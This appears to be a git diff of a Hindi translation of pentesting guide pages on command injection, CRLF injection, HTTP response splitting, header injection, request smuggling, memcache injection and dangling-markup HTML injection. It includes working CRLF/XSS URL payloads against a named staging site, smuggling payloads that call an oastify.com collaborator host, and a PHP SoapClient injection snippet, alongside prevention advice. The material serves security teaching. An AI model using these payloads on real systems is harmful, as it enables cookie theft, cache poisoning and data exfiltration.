आधार पर, जो dnsbin.zhack.ca पर भी होस्ट किया गया है ``` @@ -118,11 +117,13 @@ powershell C:**2\n??e*d.*? # notepad ../linux-hardening/bypass-bash-restrictions/ {{#endref}} -## Brute-Force Detection List +## ब्रूट-फोर्स पहचान सूची -{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt" %} +{{#ref}} +https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt +{{#endref}} -## References +## संदर्भ - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection) - [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection) diff --git a/src/pentesting-web/crlf-0d-0a.md b/src/pentesting-web/crlf-0d-0a.md index 6610b44b4..d9c965297 100644 --- a/src/pentesting-web/crlf-0d-0a.md +++ b/src/pentesting-web/crlf-0d-0a.md @@ -2,25 +2,23 @@ {{#include ../banners/hacktricks-training.md}} - - ### CRLF -कैरेज रिटर्न (CR) और लाइन फीड (LF), जिसे मिलाकर CRLF कहा जाता है, HTTP प्रोटोकॉल में एक पंक्ति के अंत या एक नई पंक्ति की शुरुआत को दर्शाने के लिए विशेष वर्ण अनुक्रम हैं। वेब सर्वर और ब्राउज़र HTTP हेडर और प्रतिक्रिया के शरीर के बीच अंतर करने के लिए CRLF का उपयोग करते हैं। ये वर्ण HTTP/1.1 संचार में विभिन्न वेब सर्वर प्रकारों, जैसे Apache और Microsoft IIS, में सार्वभौमिक रूप से उपयोग किए जाते हैं। +कैरेज रिटर्न (CR) और लाइन फीड (LF), जिसे मिलाकर CRLF कहा जाता है, HTTP प्रोटोकॉल में एक पंक्ति के अंत या एक नई पंक्ति की शुरुआत को दर्शाने के लिए उपयोग किए जाने वाले विशेष वर्ण अनुक्रम हैं। वेब सर्वर और ब्राउज़र HTTP हेडर और प्रतिक्रिया के शरीर के बीच अंतर करने के लिए CRLF का उपयोग करते हैं। ये वर्ण HTTP/1.1 संचार में विभिन्न वेब सर्वर प्रकारों, जैसे Apache और Microsoft IIS, में सार्वभौमिक रूप से उपयोग किए जाते हैं। ### CRLF Injection Vulnerability -CRLF इंजेक्शन में उपयोगकर्ता द्वारा प्रदान किए गए इनपुट में CR और LF वर्णों का सम्मिलन शामिल है। यह क्रिया सर्वर, एप्लिकेशन, या उपयोगकर्ता कोInjected अनुक्रम को एक प्रतिक्रिया के अंत और दूसरी की शुरुआत के रूप में व्याख्या करने के लिए भटका देती है। जबकि ये वर्ण स्वाभाविक रूप से हानिकारक नहीं होते, इनका दुरुपयोग HTTP प्रतिक्रिया विभाजन और अन्य दुर्भावनापूर्ण गतिविधियों का कारण बन सकता है। +CRLF इंजेक्शन में उपयोगकर्ता द्वारा प्रदान किए गए इनपुट में CR और LF वर्णों का सम्मिलन शामिल है। यह क्रिया सर्वर, एप्लिकेशन, या उपयोगकर्ता को गलत तरीके से यह समझाने के लिए प्रेरित करती है कि सम्मिलित अनुक्रम एक प्रतिक्रिया के अंत और दूसरी की शुरुआत है। जबकि ये वर्ण स्वाभाविक रूप से हानिकारक नहीं हैं, इनका दुरुपयोग HTTP प्रतिक्रिया विभाजन और अन्य दुर्भावनापूर्ण गतिविधियों का कारण बन सकता है। ### Example: CRLF Injection in a Log File [Example from here](https://www.invicti.com/blog/web-security/crlf-http-header/) -एक लॉग फ़ाइल पर विचार करें जो एक प्रशासन पैनल में इस प्रारूप का पालन करती है: `IP - Time - Visited Path`। एक सामान्य प्रविष्टि इस प्रकार दिख सकती है: +एक लॉग फ़ाइल पर विचार करें जो एक प्रशासन पैनल में है और जिसका प्रारूप है: `IP - Time - Visited Path`। एक सामान्य प्रविष्टि इस प्रकार दिख सकती है: ``` 123.123.123.123 - 08:15 - /index.php?page=home ``` -एक हमलावर CRLF इंजेक्शन का उपयोग करके इस लॉग में हेरफेर कर सकता है। HTTP अनुरोध में CRLF वर्णों को इंजेक्ट करके, हमलावर आउटपुट स्ट्रीम को बदल सकता है और लॉग प्रविष्टियों को तैयार कर सकता है। उदाहरण के लिए, एक इंजेक्टेड अनुक्रम लॉग प्रविष्टि को इस प्रकार बदल सकता है: +एक हमलावर CRLF इंजेक्शन का उपयोग करके इस लॉग में हेरफेर कर सकता है। HTTP अनुरोध में CRLF वर्णों को इंजेक्ट करके, हमलावर आउटपुट स्ट्रीम को बदल सकता है और लॉग प्रविष्टियों को तैयार कर सकता है। उदाहरण के लिए, एक इंजेक्ट की गई अनुक्रम लॉग प्रविष्टि को इस प्रकार बदल सकती है: ``` /index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit ``` @@ -31,19 +29,19 @@ IP - Time - Visited Path 123.123.123.123 - 08:15 - /index.php?page=home& 127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit ``` -हमलावर इस प्रकार अपने दुर्भावनापूर्ण गतिविधियों को छिपाते हैं, जिससे ऐसा प्रतीत होता है कि localhost (एक इकाई जिसे आमतौर पर सर्वर वातावरण में विश्वसनीय माना जाता है) ने क्रियाएँ की हैं। सर्वर उस क्वेरी के भाग को जो `%0d%0a` से शुरू होता है, एकल पैरामीटर के रूप में व्याख्यायित करता है, जबकि `restrictedaction` पैरामीटर को एक अन्य, अलग इनपुट के रूप में पार्स किया जाता है। हेरफेर की गई क्वेरी प्रभावी रूप से एक वैध प्रशासनिक आदेश की नकल करती है: `/index.php?page=home&restrictedaction=edit` +हमलावर इस प्रकार अपने दुर्भावनापूर्ण गतिविधियों को छिपाते हैं, जिससे ऐसा प्रतीत होता है कि localhost (एक इकाई जिसे आमतौर पर सर्वर वातावरण में विश्वसनीय माना जाता है) ने क्रियाएँ की हैं। सर्वर उस क्वेरी के भाग को `%0d%0a` से शुरू होने वाले एकल पैरामीटर के रूप में व्याख्यायित करता है, जबकि `restrictedaction` पैरामीटर को एक अन्य, अलग इनपुट के रूप में पार्स किया जाता है। हेरफेर की गई क्वेरी प्रभावी रूप से एक वैध प्रशासनिक आदेश की नकल करती है: `/index.php?page=home&restrictedaction=edit` ### HTTP Response Splitting #### विवरण -HTTP Response Splitting एक सुरक्षा कमजोरी है जो तब उत्पन्न होती है जब एक हमलावर HTTP प्रतिक्रियाओं की संरचना का लाभ उठाता है। यह संरचना हेडर को शरीर से अलग करती है एक विशिष्ट वर्ण अनुक्रम का उपयोग करके, कैरिज रिटर्न (CR) के बाद लाइन फीड (LF), जिसे सामूहिक रूप से CRLF कहा जाता है। यदि एक हमलावर प्रतिक्रिया हेडर में CRLF अनुक्रम डालने में सफल होता है, तो वे प्रभावी रूप से बाद की प्रतिक्रिया सामग्री को हेरफेर कर सकते हैं। इस प्रकार की हेरफेर गंभीर सुरक्षा समस्याओं का कारण बन सकती है, विशेष रूप से क्रॉस-साइट स्क्रिप्टिंग (XSS)। +HTTP Response Splitting एक सुरक्षा कमजोरी है जो तब उत्पन्न होती है जब एक हमलावर HTTP प्रतिक्रियाओं की संरचना का लाभ उठाता है। यह संरचना हेडर को शरीर से अलग करती है, एक विशिष्ट वर्ण अनुक्रम का उपयोग करते हुए, कैरिज रिटर्न (CR) के बाद लाइन फीड (LF), जिसे सामूहिक रूप से CRLF कहा जाता है। यदि एक हमलावर प्रतिक्रिया हेडर में CRLF अनुक्रम डालने में सफल होता है, तो वे प्रभावी रूप से बाद की प्रतिक्रिया सामग्री को हेरफेर कर सकते हैं। इस प्रकार की हेरफेर गंभीर सुरक्षा समस्याओं का कारण बन सकती है, विशेष रूप से क्रॉस-साइट स्क्रिप्टिंग (XSS)। #### HTTP Response Splitting के माध्यम से XSS 1. एप्लिकेशन एक कस्टम हेडर सेट करता है जैसे: `X-Custom-Header: UserInput` -2. एप्लिकेशन `UserInput` के लिए मान को एक क्वेरी पैरामीटर, जैसे "user_input" से लाता है। उचित इनपुट मान्यता और एन्कोडिंग की कमी वाले परिदृश्यों में, एक हमलावर एक पेलोड तैयार कर सकता है जिसमें CRLF अनुक्रम शामिल होता है, उसके बाद दुर्भावनापूर्ण सामग्री होती है। -3. एक हमलावर एक URL तैयार करता है जिसमें विशेष रूप से तैयार 'user_input' होता है: `?user_input=Value%0d%0a%0d%0a` +2. एप्लिकेशन `UserInput` के लिए मान को एक क्वेरी पैरामीटर, जैसे "user_input" से लाता है। उचित इनपुट मान्यता और एन्कोडिंग की कमी वाले परिदृश्यों में, एक हमलावर एक ऐसा पेलोड तैयार कर सकता है जिसमें CRLF अनुक्रम शामिल हो, उसके बाद दुर्भावनापूर्ण सामग्री हो। +3. एक हमलावर एक विशेष रूप से तैयार 'user_input' के साथ एक URL तैयार करता है: `?user_input=Value%0d%0a%0d%0a` - इस URL में, `%0d%0a%0d%0a` CRLFCRLF का URL-कोडित रूप है। यह सर्वर को CRLF अनुक्रम डालने के लिए धोखा देता है, जिससे सर्वर बाद के भाग को प्रतिक्रिया शरीर के रूप में मानता है। 4. सर्वर हमलावर के इनपुट को प्रतिक्रिया हेडर में दर्शाता है, जिससे एक अनपेक्षित प्रतिक्रिया संरचना उत्पन्न होती है जहां दुर्भावनापूर्ण स्क्रिप्ट को ब्राउज़र द्वारा प्रतिक्रिया शरीर के भाग के रूप में व्याख्यायित किया जाता है। @@ -70,19 +68,21 @@ http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHT http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E ``` -{% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %} +{{#ref}} +https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md +{{#endref}} ### HTTP Header Injection HTTP Header Injection, जिसे अक्सर CRLF (Carriage Return and Line Feed) इंजेक्शन के माध्यम से शोषित किया जाता है, हमलावरों को HTTP हेडर डालने की अनुमति देता है। यह XSS (Cross-Site Scripting) फ़िल्टर या SOP (Same-Origin Policy) जैसे सुरक्षा तंत्रों को कमजोर कर सकता है, जिससे संवेदनशील डेटा, जैसे CSRF टोकन, तक अनधिकृत पहुंच या कुकी प्लांटिंग के माध्यम से उपयोगकर्ता सत्रों में हेरफेर हो सकता है। -#### Exploiting CORS via HTTP Header Injection +#### HTTP Header Injection के माध्यम से CORS का शोषण -एक हमलावर HTTP हेडर इंजेक्ट कर CORS (Cross-Origin Resource Sharing) को सक्षम कर सकता है, SOP द्वारा लगाए गए प्रतिबंधों को बायपास करते हुए। यह उल्लंघन दुर्भावनापूर्ण मूल से स्क्रिप्टों को एक अलग मूल से संसाधनों के साथ बातचीत करने की अनुमति देता है, जिससे संरक्षित डेटा तक पहुंच संभव हो जाती है। +एक हमलावर HTTP हेडर इंजेक्ट कर CORS (Cross-Origin Resource Sharing) को सक्षम कर सकता है, SOP द्वारा लगाए गए प्रतिबंधों को बायपास करते हुए। यह उल्लंघन दुर्भावनापूर्ण मूल से स्क्रिप्टों को एक अलग मूल से संसाधनों के साथ बातचीत करने की अनुमति देता है, जिससे संरक्षित डेटा तक पहुंचने की संभावना होती है। -#### SSRF and HTTP Request Injection via CRLF +#### CRLF के माध्यम से SSRF और HTTP Request Injection -CRLF इंजेक्शन का उपयोग एक पूरी तरह से नया HTTP अनुरोध बनाने और इंजेक्ट करने के लिए किया जा सकता है। इसका एक उल्लेखनीय उदाहरण PHP के `SoapClient` क्लास में है, विशेष रूप से `user_agent` पैरामीटर के भीतर। इस पैरामीटर में हेरफेर करके, एक हमलावर अतिरिक्त हेडर और बॉडी सामग्री डाल सकता है, या यहां तक कि पूरी तरह से एक नया HTTP अनुरोध इंजेक्ट कर सकता है। नीचे इस शोषण को प्रदर्शित करने वाला एक PHP उदाहरण है: +CRLF इंजेक्शन का उपयोग एक पूरी तरह से नई HTTP अनुरोध बनाने और इंजेक्ट करने के लिए किया जा सकता है। इसका एक उल्लेखनीय उदाहरण PHP के `SoapClient` क्लास में है, विशेष रूप से `user_agent` पैरामीटर के भीतर। इस पैरामीटर में हेरफेर करके, एक हमलावर अतिरिक्त हेडर और बॉडी सामग्री डाल सकता है, या यहां तक कि पूरी तरह से एक नया HTTP अनुरोध इंजेक्ट कर सकता है। नीचे एक PHP उदाहरण है जो इस शोषण को प्रदर्शित करता है: ```php $target = 'http://127.0.0.1:9090/test'; $post_string = 'variable=post value'; @@ -109,25 +109,25 @@ $client->__soapCall("test", []); ``` ### Header Injection to Request Smuggling -इस तकनीक और संभावित समस्याओं के बारे में अधिक जानकारी के लिए [**मूल स्रोत की जांच करें**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning). +इस तकनीक और संभावित समस्याओं के बारे में अधिक जानकारी के लिए [**मूल स्रोत देखें**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning). आप आवश्यक हेडर इंजेक्ट कर सकते हैं ताकि **बैक-एंड कनेक्शन को खुला रखे** प्रारंभिक अनुरोध का उत्तर देने के बाद: ``` GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1 ``` -इसके बाद, एक दूसरा अनुरोध निर्दिष्ट किया जा सकता है। यह परिदृश्य आमतौर पर [HTTP request smuggling](http-request-smuggling/), एक तकनीक जिसमें सर्वर द्वारा इंजेक्शन के बाद जोड़े गए अतिरिक्त हेडर या बॉडी तत्व विभिन्न सुरक्षा शोषणों का कारण बन सकते हैं। +इसके बाद, एक दूसरा अनुरोध निर्दिष्ट किया जा सकता है। यह परिदृश्य आमतौर पर [HTTP request smuggling](http-request-smuggling/) से संबंधित होता है, एक तकनीक जहां सर्वर द्वारा पोस्ट-इजेक्शन के दौरान जोड़े गए अतिरिक्त हेडर या बॉडी तत्व विभिन्न सुरक्षा शोषणों का कारण बन सकते हैं। **शोषण:** -1. **दुष्ट प्रीफिक्स इंजेक्शन**: इस विधि में अगले उपयोगकर्ता के अनुरोध या एक वेब कैश को एक दुष्ट प्रीफिक्स निर्दिष्ट करके ज़हर देना शामिल है। इसका एक उदाहरण है: +1. **दुष्ट प्रीफिक्स इजेक्शन**: इस विधि में अगले उपयोगकर्ता के अनुरोध या एक वेब कैश को एक दुष्ट प्रीफिक्स निर्दिष्ट करके ज़हर देना शामिल है। इसका एक उदाहरण है: `GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1` -2. **प्रतिक्रिया कतार ज़हर देने के लिए प्रीफिक्स बनाना**: इस दृष्टिकोण में एक प्रीफिक्स बनाना शामिल है, जो कि पीछे के बेकार के साथ मिलकर एक पूर्ण दूसरा अनुरोध बनाता है। यह प्रतिक्रिया कतार ज़हर देने को ट्रिगर कर सकता है। इसका एक उदाहरण है: +2. **प्रतिक्रिया कतार ज़हर देने के लिए प्रीफिक्स बनाना**: इस दृष्टिकोण में एक प्रीफिक्स बनाना शामिल है, जो कि पीछे के कचरे के साथ मिलकर एक पूर्ण दूसरा अनुरोध बनाता है। यह प्रतिक्रिया कतार ज़हर देने को ट्रिगर कर सकता है। इसका एक उदाहरण है: `GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1` -### Memcache इंजेक्शन +### Memcache इजेक्शन Memcache एक **की-वैल्यू स्टोर है जो एक स्पष्ट पाठ प्रोटोकॉल का उपयोग करता है**। अधिक जानकारी के लिए: @@ -137,23 +137,23 @@ Memcache एक **की-वैल्यू स्टोर है जो एक **पूर्ण जानकारी के लिए पढ़ें**[ **मूल लेख**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/) -यदि एक प्लेटफ़ॉर्म **HTTP अनुरोध से डेटा ले रहा है और इसे बिना साफ किए** **memcache** सर्वर पर **अनुरोध** करने के लिए उपयोग कर रहा है, तो एक हमलावर इस व्यवहार का दुरुपयोग करके **नए memcache कमांड** को **इंजेक्ट** कर सकता है। +यदि एक प्लेटफ़ॉर्म **HTTP अनुरोध से डेटा ले रहा है और इसे बिना साफ किए उपयोग कर रहा है** ताकि **memcache** सर्वर पर **अनुरोध** किए जा सकें, तो एक हमलावर इस व्यवहार का दुरुपयोग करके **नए memcache कमांड्स** को **इजेक्ट** कर सकता है। -उदाहरण के लिए, मूल खोजी गई कमजोरी में, कैश कुंजियों का उपयोग एक उपयोगकर्ता को कनेक्ट करने के लिए IP और पोर्ट लौटाने के लिए किया गया था, और हमलावरों ने **memcache कमांड** को **इंजेक्ट** करने में सक्षम थे जो **कैश को ज़हर** देने के लिए **विज़िटर्स के विवरण** (उपयोगकर्ता नाम और पासवर्ड सहित) को हमलावर सर्वरों पर भेजते थे: +उदाहरण के लिए, मूल खोजे गए कमजोरियों में, कैश कुंजी का उपयोग उपयोगकर्ता को कनेक्ट करने के लिए IP और पोर्ट लौटाने के लिए किया गया था, और हमलावरों ने **memcache कमांड्स को इजेक्ट** करने में सक्षम थे जो **कैश को ज़हर** देते थे ताकि **पीड़ितों के विवरण** (उपयोगकर्ता नाम और पासवर्ड शामिल) को हमलावर सर्वरों पर भेजा जा सके:
https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/ba72cd16-2ca0-447b-aa70-5cde302a0b88/body-578d9f9f-1977-4e34-841c-ad870492328f_10.png?w=1322&h=178&auto=format&fit=crop
-इसके अलावा, शोधकर्ताओं ने यह भी खोजा कि वे memcache प्रतिक्रियाओं को असंक्रोनाइज़ कर सकते हैं ताकि हमलावरों के IP और पोर्ट उन उपयोगकर्ताओं को भेजे जा सकें जिनके ईमेल हमलावर को नहीं पता था: +इसके अलावा, शोधकर्ताओं ने यह भी खोजा कि वे memcache प्रतिक्रियाओं को असंक्रोनाइज़ कर सकते हैं ताकि हमलावरों के IP और पोर्ट उन उपयोगकर्ताओं को भेजे जा सकें जिनके ईमेल हमलावर को नहीं पता थे:
https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/c6c1f3c4-d244-4bd9-93f7-2c88f139acfa/body-3f9ceeb9-3d6b-4867-a23f-e0e50a46a2e9_14.png?w=1322&h=506&auto=format&fit=crop
-### CRLF / HTTP हेडर इंजेक्शन को वेब अनुप्रयोगों में कैसे रोकें +### CRLF / HTTP हेडर इजेक्शन को वेब अनुप्रयोगों में कैसे रोकें -वेब अनुप्रयोगों में CRLF (Carriage Return and Line Feed) या HTTP हेडर इंजेक्शन के जोखिमों को कम करने के लिए, निम्नलिखित रणनीतियों की सिफारिश की जाती है: +वेब अनुप्रयोगों में CRLF (Carriage Return and Line Feed) या HTTP हेडर इजेक्शन के जोखिमों को कम करने के लिए, निम्नलिखित रणनीतियों की सिफारिश की जाती है: 1. **प्रतिक्रिया हेडर में सीधे उपयोगकर्ता इनपुट से बचें:** सबसे सुरक्षित दृष्टिकोण यह है कि उपयोगकर्ता द्वारा प्रदान किए गए इनपुट को सीधे प्रतिक्रिया हेडर में शामिल करने से बचें। -2. **विशेष वर्णों को एन्कोड करें:** यदि सीधे उपयोगकर्ता इनपुट से बचना संभव नहीं है, तो सुनिश्चित करें कि CR (Carriage Return) और LF (Line Feed) जैसे विशेष वर्णों को एन्कोड करने के लिए एक फ़ंक्शन का उपयोग करें। यह प्रथा CRLF इंजेक्शन की संभावना को रोकती है। -3. **प्रोग्रामिंग भाषा को अपडेट करें:** अपने वेब अनुप्रयोगों में उपयोग की जाने वाली प्रोग्रामिंग भाषा को नियमित रूप से नवीनतम संस्करण में अपडेट करें। एक ऐसे संस्करण का चयन करें जो HTTP हेडर सेट करने वाले फ़ंक्शनों के भीतर CR और LF वर्णों के इंजेक्शन की अनुमति नहीं देता है। +2. **विशेष वर्णों को एन्कोड करें:** यदि सीधे उपयोगकर्ता इनपुट से बचना संभव नहीं है, तो सुनिश्चित करें कि CR (Carriage Return) और LF (Line Feed) जैसे विशेष वर्णों को एन्कोड करने के लिए एक फ़ंक्शन का उपयोग करें। यह प्रथा CRLF इजेक्शन की संभावना को रोकती है। +3. **प्रोग्रामिंग भाषा को अपडेट करें:** अपने वेब अनुप्रयोगों में उपयोग की जाने वाली प्रोग्रामिंग भाषा को नियमित रूप से नवीनतम संस्करण में अपडेट करें। एक ऐसे संस्करण का चयन करें जो HTTP हेडर सेट करने वाले फ़ंक्शनों के भीतर CR और LF वर्णों के इजेक्शन की अनुमति नहीं देता है। ### CHEATSHEET @@ -179,22 +179,20 @@ Memcache एक **की-वैल्यू स्टोर है जो एक • %E5%98%BC = %3C = \u563c (<) • Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test ``` -## स्वचालित उपकरण +## Automatic Tools - [https://github.com/Raghavd3v/CRLFsuite](https://github.com/Raghavd3v/CRLFsuite) - [https://github.com/dwisiswant0/crlfuzz](https://github.com/dwisiswant0/crlfuzz) -## ब्रूट-फोर्स पहचान सूची +## Brute-Force Detection List - [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/crlf.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/crlf.txt) -## संदर्भ +## References - [**https://www.invicti.com/blog/web-security/crlf-http-header/**](https://www.invicti.com/blog/web-security/crlf-http-header/) - [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/) - [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning) - [**https://www.netsparker.com/blog/web-security/crlf-http-header/**](https://www.netsparker.com/blog/web-security/crlf-http-header/) - - {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md b/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md index 8a3ab7ab5..aff2928f7 100644 --- a/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md +++ b/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md @@ -4,16 +4,16 @@ ## Resume -यह तकनीक तब उपयोग की जा सकती है जब **HTML injection पाया जाता है**। यह बहुत उपयोगी है यदि आप **कोई तरीका नहीं ढूंढ पाते** [**XSS** ](../xss-cross-site-scripting/)को शोषण करने के लिए लेकिन आप **कुछ HTML टैग्स** को **inject** कर सकते हैं।\ -यह तब भी उपयोगी है जब कुछ **गुप्त जानकारी स्पष्ट पाठ में** HTML में सहेजी गई हो और आप इसे **exfiltrate** करना चाहते हैं, या यदि आप कुछ स्क्रिप्ट निष्पादन को भटकाना चाहते हैं। +यह तकनीक **HTML injection मिलने पर** उपयोगकर्ता से जानकारी निकालने के लिए उपयोग की जा सकती है। यह बहुत उपयोगी है यदि आप **कोई तरीका नहीं ढूंढ पाते** [**XSS** ](../xss-cross-site-scripting/)को शोषण करने के लिए लेकिन आप **कुछ HTML टैग्स** इंजेक्ट कर सकते हैं।\ +यह तब भी उपयोगी है जब कुछ **गुप्त जानकारी स्पष्ट पाठ में** HTML में सहेजी गई हो और आप इसे **exfiltrate** करना चाहते हों, या यदि आप कुछ स्क्रिप्ट निष्पादन को भटकाना चाहते हों। -यहां टिप्पणी की गई कई तकनीकों का उपयोग कुछ [**Content Security Policy**](../content-security-policy-csp-bypass/) को बायपास करने के लिए अप्रत्याशित तरीकों (html टैग्स, CSS, http-meta टैग्स, फॉर्म, बेस...) में जानकारी exfiltrate करने के लिए किया जा सकता है। +यहां टिप्पणी की गई कई तकनीकों का उपयोग कुछ [**Content Security Policy**](../content-security-policy-csp-bypass/) को अप्रत्याशित तरीकों (html टैग्स, CSS, http-meta टैग्स, फॉर्म, बेस...) में जानकारी निकालने के लिए बायपास करने के लिए किया जा सकता है। ## Main Applications ### Stealing clear text secrets -यदि आप ` I get consumed! @@ -65,7 +65,7 @@ I get consumed! ```html ` टैग इंजेक्ट करके वही कर सकते हैं। सभी डेटा जब तक एक बंद `` नहीं मिल जाता, भेजा जाएगा: ```html @@ -90,7 +90,7 @@ I get consumed! `` एक टैग है जिसका सामग्री उस समय व्याख्यायित किया जाएगा जब ब्राउज़र जावास्क्रिप्ट का समर्थन नहीं करता (आप [chrome://settings/content/javascript](chrome://settings/content/javascript) में Chrome में जावास्क्रिप्ट को सक्षम/अक्षम कर सकते हैं)। -एक तरीका है वेब पृष्ठ की सामग्री को इंजेक्शन के बिंदु से नीचे तक एक हमलावर द्वारा नियंत्रित साइट पर निकालने का, यह इंजेक्ट करके: +एक तरीका है वेब पृष्ठ की सामग्री को इंजेक्शन के बिंदु से नीचे तक एक हमलावर द्वारा नियंत्रित साइट पर निकालने का, यह इंजेक्ट करना: ```html